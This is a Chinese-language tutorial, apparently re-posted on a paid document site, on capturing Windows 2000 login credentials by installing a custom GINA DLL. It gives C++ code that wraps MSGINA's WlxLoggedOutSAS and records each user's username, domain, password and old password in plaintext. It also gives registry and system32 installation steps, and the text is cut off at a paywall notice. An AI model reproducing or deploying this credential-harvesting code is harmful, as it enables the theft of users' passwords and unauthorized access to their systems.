2000下如何获得用户登录名和密码

时间:2026-01-27

2000下如何获得用户登录名和密码

WINDOWS 2000下如何获得用户登录名和密码

作者:moonstone

下载本文示例源代码

一、原理

在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。

WinLogon初始化时会创建3个桌面:

(1)、winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等

(2)、应用程序桌面:我们平时见到的那个有我的电脑的界面

(3)、屏幕保护桌面:屏幕保护显示界面。

在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。

二、程序实现

GINA DLL要输出下列函数(winlogon会调用):

(表一)GINA 函数一览表

2000下如何获得用户登录名和密码

为了简化编程,我们从MSGINA.DLL中动态获取上述函数,在自定义的DLL中(以下称为MyGina.DLL)中直接调用MSGINA.DLL的函数即可。现在我们要处理的就是WlxLoggedOutSAS函数:

/********************************************************************/

//在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!

int WINAPI WlxLoggedOutSAS (

PVOID pWlxContext,

DWORD dwSasType,

PLUID pAuthenticationId,

PSID pLogonSid,

PDWORD pdwOptions,

PHANDLE phToken,

PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,

2000下如何获得用户登录名和密码

PVOID * pProfile)

{

int iRet=0;

PWSTR pszUserName=NULL; //用户名

PWSTR pszDomain=NULL; //机器名

PWSTR pszPassword=NULL; //密码

PWSTR pszOldPassword=NULL; //旧密码

PSTR pLogonTime=new char[100]; //登录时间

//调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数 iRet = prcWlxLoggedOutSAS(

pWlxContext,

dwSasType,

pAuthenticationId,

pLogonSid,

pdwOptions,

phToken,

pMprNotifyInfo,

pProfile);

if(iRet == WLX_SAS_ACTION_LOGON)

{

//Get logon time

CTime tm=CTime::GetCurrentTime();

::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d \r\n",

tm.GetYear(),

tm.GetMonth(),

tm.GetDay(),

tm.GetHour(),

tm.GetMinute(),

tm.GetSecond());

if(pLogonTime!=NULL)

{

WriteInfo("logon_time: ");

WriteInfo(pLogonTime);

}

2000下如何获得用户登录名和密码

// copy pMprNotifyInfo and pLogonSid for later use

pszUserName=pMprNotifyInfo->pszUserName; if(pszUserName!=NULL)

{

WriteInfo("Username : ");

WriteInfoW(pszUserName);

}

pszDomain=pMprNotifyInfo->pszDomain; if(pszDomain!=NULL)

{

WriteInfo("Domain : ");

WriteInfoW(pszDomain);

}

pszPassword =pMprNotifyInfo->pszPassword; if(pszPassword!=NULL)

{

WriteInfo("PassWord : ");

WriteInfoW(pszPassword);

}

pszOldPassword=pMprNotifyInfo->pszOldPassword;

if(pszOldPassword!=NULL)

{

WriteInfo("OldPassword: ");

WriteInfoW(pszOldPassword); }

}

return iRet;

}

/************************************************************

2000下如何获得用户登录名和密码

********/

还有要注意的是,从pMprNotifyInfo获得都是unicode字符串,显示的时候要先把它们转换成ASCII字符串 :

void WriteInfoW(PWSTR WideStr) //显示unicode字符串信息 {

//获取unicode字符串的字符个数

int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);

//在进程堆中分配空间

PSTR

tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);

if(tempStr==NULL) return ;

//把unicode字符串转换为ASCII字符串

WideCharToMultiByte(CP_ACP,0,WideSt ,-1,

tempStr,nstrlen,NULL,NULL);

WriteInfo(tempStr); //显示ASCII字符串信息

//释放分配的堆空间

HeapFree(GetProcessHeap(),0,tempStr);

}

三、安装和注意事项:

在编写GIAN DLL中要注意,GINA DLL使用的是unicode。

【安装】GINA DLL的安装:

1. 添加注册表

键名 : \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows

NT\CurrentVersion\Winlogon

变量名 : GinaDLL

变量类型 : [REG_SZ]

内容 : "你的GINA DLL的名称" 如:"MyGina.DLL:

2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32);

2000下如何获得用户登录名和密码

3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。

【注意】

1. 如果出现进不了你的系统,那你进入DOS后,将msgina.dll拷贝成你的GINA DLL(MyGina.dll)就可进入了;或者进入安全模式,删除掉那个键值( GinaDLL )。

2. Console 程序如果想使用MFC类,必须包含<afx.h>,同时注释掉

<windows.h>。

3. 如果出现这种错误:“LINK : fatal error LNK1104: cannot open file

"mfc42u.lib" ”,那么说明 lib路径的设置问题,你的链接器在指定的目录下没有找到这个的文 …… 此处隐藏:1755字,全部文档内容请下载后查看。喜欢就下载吧 ……

2000下如何获得用户登录名和密码.doc 将本文的Word文档下载到电脑

    精彩图片

    热门精选

    大家正在看

    × 游客快捷下载通道(下载后可以自由复制和排版)

    限时特价:4.9 元/份 原价:20元

    支付方式:

    开通VIP包月会员 特价:19元/月

    注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
    微信:fanwen365 QQ:370150219